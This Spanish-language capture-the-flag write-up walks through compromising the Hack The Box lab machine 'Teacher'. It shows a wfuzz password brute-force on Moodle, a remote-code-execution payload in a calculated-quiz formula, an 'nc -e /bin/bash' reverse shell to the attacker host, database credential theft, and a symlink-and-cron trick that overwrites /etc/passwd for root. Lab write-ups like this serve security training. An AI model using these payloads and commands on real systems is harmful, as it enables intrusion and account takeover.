Hack The Box Teacher
Teacher
Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.153.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.153
PING 10.10.10.153 (10.10.10.153) 56(84) bytes of data.
64 bytes from 10.10.10.153: icmp_seq=1 ttl=63 time=137 ms
--- 10.10.10.153 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 137.274/137.274/137.274/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Linux. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nmap -p- --open -T5 -v -n 10.10.10.153 -oG allPorts
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-11 17:58 CDT
Initiating Ping Scan at 17:58
Scanning 10.10.10.153 [4 ports]
Completed Ping Scan at 17:58, 0.16s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 17:58
Scanning 10.10.10.153 [65535 ports]
Discovered open port 80/tcp on 10.10.10.153
SYN Stealth Scan Timing: About 47.21% done; ETC: 18:00 (0:00:35 remaining)
Completed SYN Stealth Scan at 17:59, 58.86s elapsed (65535 total ports)
Nmap scan report for 10.10.10.153
Host is up (0.24s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 59.18 seconds
Raw packets sent: 65995 (2.904MB) | Rcvd: 65992 (2.640MB)
Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.
1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬───────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.153
5 │ [*] Open ports: 80
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
❯ nmap -sC -sV -p80 10.10.10.153 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-11 18:00 CDT
Nmap scan report for 10.10.10.153
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Blackhat highschool
|_http-server-header: Apache/2.4.25 (Debian)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds
Antes de ver el sitio web, vamos a echarle un ojo con nuestra herramienta whatweb:
1
2
❯ whatweb http://10.10.10.153/
http://10.10.10.153/ [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], Email[contact@blackhatuni.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[10.10.10.153], JQuery[1.11.1], Script, Title[Blackhat highschool]
Vemos una dirección de correo electrónico contact@blackhatuni.com y poco más de lo que ya nos había reportado nmap. Ahora si vamos a echarle un ojo:
Analizando un poco la página, vemos que existe un recurso gallery.html en donde se tienen múltiples imágenes y checando el código fuente, vemos algo curioso para una imagen:
1
<li><a href="#"><img src="images/5.png" onerror="console.log('That\'s an F');" alt=""></a></li>
Al tratar de abrirla, no vemos la imagen asociada:
Vamos a descargarla a nuestra máquina y le echamos un ojo
1
2
3
4
5
6
7
8
9
10
11
12
❯ wget http://10.10.10.153/images/5.png
--2021-10-11 19:59:43-- http://10.10.10.153/images/5.png
Conectando con 10.10.10.153:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 200 [image/png]
Grabando a: «5.png»
5.png 100%[=======================================================>] 200 --.-KB/s en 0s
2021-10-11 19:59:43 (12.9 MB/s) - «5.png» guardado [200/200]
❯ file 5.png
5.png: ASCII text
Resulta que le archivo 5.png es un archivo de texto, así que vamos a hacerle un ¢at:
1
2
3
4
5
6
7
8
9
10
11
12
❯ cat 5.png
───────┬──────────────────────────────────────────────────────────────────────────
│ File: 5.png
───────┼──────────────────────────────────────────────────────────────────────────
1 │ Hi Servicedesk,
2 │
3 │ I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.
4 │
5 │ Could you guys figure out what the last charachter is, or just reset it?
6 │
7 │ Thanks,
8 │ Giovanni
Tenemos un potencial usuario y una parte de una contraseña (Recordar que debemos de guardar dicha información); lo que implica que necesitamos encontrar un panel de login para poder acceder, así que vamos a tirar de wfuzz:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ wfuzz -c -t 100 --hc=404 --hw=747 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.153/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.153/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 301 9 L 28 W 313 Ch "images"
000000550: 301 9 L 28 W 310 Ch "css"
000000730: 301 9 L 28 W 313 Ch "manual"
000000953: 301 9 L 28 W 309 Ch "js"
000001073: 301 9 L 28 W 317 Ch "javascript"
000002771: 301 9 L 28 W 312 Ch "fonts"
000010825: 403 11 L 32 W 297 Ch "phpmyadmin"
000014433: 301 9 L 28 W 313 Ch "moodle"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0
Processed Requests: 22685
Filtered Requests: 22677
Requests/sec.: 0
Vemos un phpmyadmin; sin embargo, por el código de estado, 403, no tenemos permisos para acceder. Otro directorio que vemos es moodle, que investigando un poco, tenemos que Moodle es una herramienta de gestión de aprendizaje, o más concretamente de Learning Content Management, de distribución libre, escrita en PHP.
Vemos que dicho recurso presenta un panel de login; por lo que ya debemos estar pensando en que el usuario podría ser Giovanni y la contraseña Th4C00lTheacha más un carácter que le falta; por lo tanto podríamos hacer un tipo de fuerza bruta añadiendo caracteres al final de la contraseña y mandando la solicitud. Vamos a crearnos un diccionario haciendo uso, primeramente, de los caracteres en ascii; por lo que vamos a ver su correspondiente a decimal:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
❯ man ascii
ASCII(7) Linux Programmer's Manual ASCII(7)
NAME
ascii - ASCII character set encoded in octal, decimal, and hexadecimal
DESCRIPTION
ASCII is the American Standard Code for Information Interchange. It is a 7-bit code. Many 8-bit codes (e.g., ISO
8859-1) contain ASCII as their lower half. The international counterpart of ASCII is known as ISO 646-IRV.
The following table contains the 128 ASCII characters.
C program '\X' escapes are noted.
Oct Dec Hex Char Oct Dec Hex Char
────────────────────────────────────────────────────────────────────────
000 0 00 NUL '\0' (null character) 100 64 40 @
001 1 01 SOH (start of heading) 101 65 41 A
002 2 02 STX (start of text) 102 66 42 B
003 3 03 ETX (end of text) 103 67 43 C
004 4 04 EOT (end of transmission) 104 68 44 D
005 5 05 ENQ (enquiry) 105 69 45 E
006 6 06 ACK (acknowledge) 106 70 46 F
007 7 07 BEL '\a' (bell) 107 71 47 G
010 8 08 BS '\b' (backspace) 110 72 48 H
011 9 09 HT '\t' (horizontal tab) 111 73 49 I
012 10 0A LF '\n' (new line) 112 74 4A J
013 11 0B VT '\v' (vertical tab) 113 75 4B K
014 12 0C FF '\f' (form feed) 114 76 4C L
015 13 0D CR '\r' (carriage ret) 115 77 4D M
016 14 0E SO (shift out) 116 78 4E N
017 15 0F SI (shift in) 117 79 4F O
020 16 10 DLE (data link escape) 120 80 50 P
021 17 11 DC1 (device control 1) 121 81 51 Q
022 18 12 DC2 (device control 2) 122 82 52 R
023 19 13 DC3 (device control 3) 123 83 53 S
024 20 14 DC4 (device control 4) 124 84 54 T
025 21 15 NAK (negative ack.) 125 85 55 U
026 22 16 SYN (synchronous idle) 126 86 56 V
027 23 17 ETB (end of trans. blk) 127 87 57 W
030 24 18 CAN (cancel) 130 88 58 X
031 25 19 EM (end of medium) 131 89 59 Y
032 26 1A SUB (substitute) 132 90 5A Z
033 27 1B ESC (escape) 133 91 5B [
034 28 1C FS (file separator) 134 92 5C \ '\\'
035 29 1D GS (group separator) 135 93 5D ]
036 30 1E RS (record separator) 136 94 5E ^
037 31 1F US (unit separator) 137 95 5F _
040 32 20 SPACE 140 96 60 `
041 33 21 ! 141 97 61 a
042 34 22 " 142 98 62 b
042 34 22 " 142 98 62 b
043 35 23 # 143 99 63 c
044 36 24 $ 144 100 64 d
045 37 25 % 145 101 65 e
046 38 26 & 146 102 66 f
047 39 27 ' 147 103 67 g
050 40 28 ( 150 104 68 h
051 41 29 ) 151 105 69 i
052 42 2A * 152 106 6A j
053 43 2B + 153 107 6B k
054 44 2C , 154 108 6C l
055 45 2D - 155 109 6D m
056 46 2E . 156 110 6E n
057 47 2F / 157 111 6F o
060 48 30 0 160 112 70 p
061 49 31 1 161 113 71 q
062 50 32 2 162 114 72 r
063 51 33 3 163 115 73 s
064 52 34 4 164 116 74 t
065 53 35 5 165 117 75 u
066 54 36 6 166 118 76 v
067 55 37 7 167 119 77 w
070 56 38 8 170 120 78 x
071 57 39 9 171 121 79 y
072 58 3A : 172 122 7A z
073 59 3B ; 173 123 7B {
074 60 3C < 174 124 7C |
075 61 3D = 175 125 7D }
076 62 3E > 176 126 7E ~
077 63 3F ? 177 127 7F DEL
Tenemos que los caracteres que nos interesan parten del 33 ! hasta el 126 ~. Una vez definido esto, vamos a crearnos un programita en python que nos cree el diccionario:
1
2
3
4
5
6
7
#!/usr/bin/python3
if __name__ == '__main__':
f = open('dictionary.txt','w')
for i in range(33, 126):
f.write("Th4C00lTheacha{}\n".format(chr(i)))
f.close()
Al ejecutarlo, nos genera el archivo dictionary.txt con las posibles contraseñas del usuario Giovanni, ahora necesitamos realizar las peticiones hacia el servidor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ wfuzz -c -L --hw=1224 -w dictionary.txt -d "username=Giovanni&password=FUZZ" http://10.10.10.153/moodle/login/index.php
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.153/moodle/login/index.php
Total requests: 93
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 296 L 1257 W 27569 Ch "Th4C00lTheacha#"
Total time: 11.02567
Processed Requests: 93
Filtered Requests: 92
Requests/sec.: 8.434860
Vemos que la contraseña es Th4C00lTheacha# y vamos a tratar de ingresar al panel de login.
Estamos dentro, ahora necesitamos buscar una forma de ejecutar comandos a nivel de sistema, así que buscando moodle remote code executioin nos parace el siguiente recurso:
En dicho sitio web, nos indica básicamente que debemos ingresar al curso; que para nuestro caso sería en Site home ubicando del lado izquierdo y posteriormente a Algebra. Ahora le damos en el engrane y en la opción Turn editting on y nos parecen varias opciones:
Posteriormente, le damos click a la opción Add an activity or resource ubicada del lado derecho y escogemos la opción Quiz.
Le damos en Add y nos solicitará llenar algunos campos:
- General
- Name: Lo que sea
- Description: Lo que sea también
Hasta abajo le damos click en Save and display
Ahora le damos click en Edit quiz y en la parte donde dice Suffle, hacemos click en Add y luego a new question.
Escogemos la opción Calculated y en el formulario que nos aparece, llenamos los campos:
- General
- Question name: Lo que sea otra vez
- Question text: Más de lo que sea
- Answer
- Answer 1 formula = /{a/`$_GET[0]`;//{x}}
- Grade: 100%
Vamos hasta el final y le damos Save changes.
Ahora le damos click en donde dice Next page y vemos que en la URL nos parece algo así:
- http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7
De acuerdo con el valor del campo Answer 1 formula =, estamos parametrizando la variable 0. Si ponemos al final de la URL &0=whoami no nos va a resultar debido a que no tenemos donde visualizar el resultado del comando; así que nos vamos a tirar un ping a nuestra máquina de atacante y nos ponemos en escucha en nuestra interfaz con tcpdump, por lo que la uri quedaría:
- http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7&0=ping%20-c%201%2010.10.14.24
1
2
3
4
5
6
7
8
9
10
11
❯ tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:32:04.402092 IP 10.10.10.153 > 10.10.14.24: ICMP echo request, id 3559, seq 1, length 64
21:32:04.402199 IP 10.10.14.24 > 10.10.10.153: ICMP echo reply, id 3559, seq 1, length 64
21:32:04.545135 IP 10.10.10.153 > 10.10.14.24: ICMP echo request, id 3561, seq 1, length 64
21:32:04.545169 IP 10.10.14.24 > 10.10.10.153: ICMP echo reply, id 3561, seq 1, length 64
^C
4 packets captured
4 packets received by filter
0 packets dropped by kernel
Vemos que hemos recibido una traza icmp de la dirección IP 10.10.10.153, que es la máquina víctima; así que ahora vamos a tratar de entablarnos una reverse shell, nos ponemos en escucha por el puerto 443:
- http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7&0=nc%20-e%20%22/bin/bash%22%2010.10.14.24%20443
1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.153] 46242
whoami
www-data
Hacemos un Tratamiento de la tty para trabajar más cómodos. Una vez hecho, nos encontramos dentro de la máquina como el usuario www-data y no podemos visualizar la flag dentro del directorio /home/giovanni; asi que vamos a buscar una forma de escalar privilegios enumerando un poco el sistema:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@teacher:/home$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@teacher:/home$ sudo -l
bash: sudo: command not found
www-data@teacher:/home$ cd /
www-data@teacher:/$ find \-perm -4000 2>/dev/null
./bin/ping
./bin/su
./bin/fusermount
./bin/umount
./bin/mount
./usr/lib/eject/dmcrypt-get-device
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/openssh/ssh-keysign
./usr/bin/newgrp
./usr/bin/gpasswd
./usr/bin/chsh
./usr/bin/chfn
./usr/bin/passwd
www-data@teacher:/$
No vemos nada interesante, así que vamos al recurso /var/www/html/moodle para ver si existe algo que podamos utilizar:
1
2
3
4
5
6
7
8
9
10
11
12
www-data@teacher:/var/www/html/moodle$ find \-name *config.php 2>/dev/null
./cache/classes/config.php
./lib/editor/tinymce/plugins/spellchecker/config.php
./config.php
./mod/chat/gui_ajax/theme/course_theme/config.php
./mod/chat/gui_ajax/theme/bubble/config.php
./mod/chat/gui_ajax/theme/compact/config.php
./theme/more/config.php
./theme/clean/config.php
./theme/bootstrapbase/config.php
./theme/boost/config.php
www-data@teacher:/var/www/html/moodle$
Tenemos varios archivos, así que vamos a echarles un ojo y buscar concretamente por la palabra pass o password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@teacher:/var/www/html/moodle$ find \-name *config.php 2>/dev/null | xargs cat | less
...
$CFG->dbtype = 'mariadb';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'root';
$CFG->dbpass = 'Welkom1!';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8mb4_unicode_ci',
);
...
Tenemos los datos de acceso a la base de datos, por lo que podriamos entrar y buscar que una tabla que contenga información que nos pueda ayudar a migrar a un usuario del sistema:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
www-data@teacher:/var/www/html/moodle$ mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 574
Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1
Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| moodle |
| mysql |
| performance_schema |
| phpmyadmin |
+--------------------+
5 rows in set (0.00 sec)
MariaDB [(none)]>
MariaDB [moodle]> select table_name from information_schema.tables where table_schema = 'moodle' and table_name like '%user%';
+---------------------------------+
| table_name |
+---------------------------------+
| mdl_assign_user_flags |
| mdl_assign_user_mapping |
| mdl_chat_users |
| mdl_competency_usercomp |
| mdl_competency_usercompcourse |
| mdl_competency_usercompplan |
| mdl_competency_userevidence |
| mdl_competency_userevidencecomp |
| mdl_enrol_lti_lti2_user_result |
| mdl_enrol_lti_users |
| mdl_external_services_users |
| mdl_oauth2_user_field_mapping |
| mdl_portfolio_instance_user |
| mdl_stats_user_daily |
| mdl_stats_user_monthly |
| mdl_stats_user_weekly |
| mdl_tool_usertours_steps |
| mdl_tool_usertours_tours |
| mdl_user |
| mdl_user_devices |
| mdl_user_enrolments |
| mdl_user_info_category |
| mdl_user_info_data |
| mdl_user_info_field |
| mdl_user_lastaccess |
| mdl_user_password_history |
| mdl_user_password_resets |
| mdl_user_preferences |
| mdl_user_private_key |
+---------------------------------+
29 rows in set (0.00 sec)
MariaDB [moodle]>
Aqui vemos la tabla mdl_user de la base de datos moodle:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MariaDB [moodle]> describe mdl_user;
+-------------------+--------------+------+-----+-----------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------------------+--------------+------+-----+-----------+----------------+
| id | bigint(10) | NO | PRI | NULL | auto_increment |
| auth | varchar(20) | NO | MUL | manual | |
| confirmed | tinyint(1) | NO | MUL | 0 | |
| policyagreed | tinyint(1) | NO | | 0 | |
| deleted | tinyint(1) | NO | MUL | 0 | |
| suspended | tinyint(1) | NO | | 0 | |
| mnethostid | bigint(10) | NO | MUL | 0 | |
| username | varchar(100) | NO | | | |
| password | varchar(255) | NO | | | |
| idnumber | varchar(255) | NO | MUL | | |
| firstname | varchar(100) | NO | MUL | | |
| lastname | varchar(100) | NO | MUL | | |
...
Selecionamos los campos que nos interesan como username y password:
1
2
3
4
5
6
7
8
9
10
11
12
MariaDB [moodle]> select username,password from mdl_user;
+-------------+--------------------------------------------------------------+
| username | password |
+-------------+--------------------------------------------------------------+
| guest | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO |
| admin | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 |
| giovanni | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO |
| Giovannibak | 7a860966115182402ed06375cf0a22af |
+-------------+--------------------------------------------------------------+
4 rows in set (0.00 sec)
MariaDB [moodle]>
Notamos de entrada que para el usuario Giovannibak se tiene un hash diferente a los demás usuarios; así que vamos a validar a que nos enfrentamos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 7a860966115182402ed06375cf0a22af
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Nos indica que es MD5, así que podríamos tratar de romperla con la herramienta john o con herramientas online como crackstation:
Podríamos utilizar la contraseña para migrar al usuario giovanni:
1
2
3
4
5
www-data@teacher:/var/www/html/moodle$ su giovanni
Password:
giovanni@teacher:/var/www/html/moodle$ whoami
giovanni
giovanni@teacher:/var/www/html/moodle$
Ahora si ya podemos visualizar la flag (user.txt) y nos queda escalar privilegios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
giovanni@teacher:~$ id
uid=1000(giovanni) gid=1000(giovanni) groups=1000(giovanni)
giovanni@teacher:~$ sudo -l
bash: sudo: command not found
giovanni@teacher:~$ cd /
giovanni@teacher:/$ find \-perm -4000 2>/dev/null
./bin/ping
./bin/su
./bin/fusermount
./bin/umount
./bin/mount
./usr/lib/eject/dmcrypt-get-device
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
./usr/lib/openssh/ssh-keysign
./usr/bin/newgrp
./usr/bin/gpasswd
./usr/bin/chsh
./usr/bin/chfn
./usr/bin/passwd
giovanni@teacher:/$
Vamos a checar si existen tareas que se estén ejecutando en el sistema a intervalos regulares y vamos a utilizar nuestro archivo ProcMon:
1
2
3
4
giovanni@teacher:/$ cd /dev/shm
giovanni@teacher:/dev/shm$ touch procmon.sh
giovanni@teacher:/dev/shm$ chmod +x procmon.sh
giovanni@teacher:/dev/shm$
Lo ejecutamos y esperamos un rato:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
giovanni@teacher:/dev/shm$ ./procmon.sh
> /usr/sbin/cron -f
> /usr/sbin/CRON -f
> /bin/sh -c /usr/bin/backup.sh
> /bin/bash /usr/bin/backup.sh
> tar -czvf tmp/backup_courses.tar.gz courses/algebra
< /usr/sbin/cron -f
> /bin/sh -c gzip
< /usr/sbin/CRON -f
< /bin/sh -c /usr/bin/backup.sh
< /bin/bash /usr/bin/backup.sh
< tar -czvf tmp/backup_courses.tar.gz courses/algebra
< /bin/sh -c gzip
Vemos que se está ejecutando el script /usr/bin/backup.sh, asi que vamos a echarle un ojo a ver que hace:
1
2
3
4
5
6
7
8
giovanni@teacher:/dev/shm$ cat /usr/bin/backup.sh
#!/bin/bash
cd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -R;
giovanni@teacher:/dev/shm$
El script ingresa al directorio cd /home/giovanni/work, comprime con el comando tar lo que está en courses/* y lo guarda en tmp/; posterior ingresa a tmp/ y descomprime lo que hay en el archivo backup_courses.tar.gz y por último asigna permisos 777 de forma recursiva a todo lo que se encuentra en tmp/.
Por lo que podríamos aprovechar para hacer un link simbólico de un archivo dentro de tmp/ para que el usuario que ejecuta el script, en este caso root asigne los permisos 777.
1
2
3
4
5
6
7
giovanni@teacher:~/work/tmp$ ln -s -f /etc/passwd passwd
giovanni@teacher:~/work/tmp$ ls -l
total 8
-rwxrwxrwx 1 root root 256 Oct 12 05:54 backup_courses.tar.gz
drwxrwxrwx 3 root root 4096 Jun 27 2018 courses
lrwxrwxrwx 1 giovanni giovanni 11 Oct 12 05:54 passwd -> /etc/passwd
giovanni@teacher:~/work/tmp$
Validamos que el archivo /etc/passwd tenga los permisos 777.
1
2
3
4
5
giovanni@teacher:~/work/tmp$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1450 Jun 27 2018 /etc/passwd
giovanni@teacher:~/work/tmp$ ls -l /etc/passwd
-rwxrwxrwx 1 root root 1450 Jun 27 2018 /etc/passwd
giovanni@teacher:~/work/tmp$
Ahora vamos a generar la contraseña hola con la herramienta openssl:
1
2
3
4
5
giovanni@teacher:~/work/tmp$ openssl passwd
Password:
Verifying - Password:
c6FsdpoXH4yFk
giovanni@teacher:~/work/tmp$
El resultado lo sustituimos en el archivo /etc/passwd para el usuario root:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
giovanni@teacher:~/work/tmp$ cat /etc/passwd
root:c6FsdpoXH4yFk:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false
giovanni:x:1000:1000:Giovanni,1337,,:/home/giovanni:/bin/bash
giovanni@teacher:~/work/tmp$
Ahora podemos migrar al usuario root con contraseña hola:
1
2
3
4
5
giovanni@teacher:~/work/tmp$ su root
Password:
root@teacher:/home/giovanni/work/tmp# whoami
root
root@teacher:/home/giovanni/work/tmp#
Ya somos el usuario root y podemos visualizar la flag (root.txt).











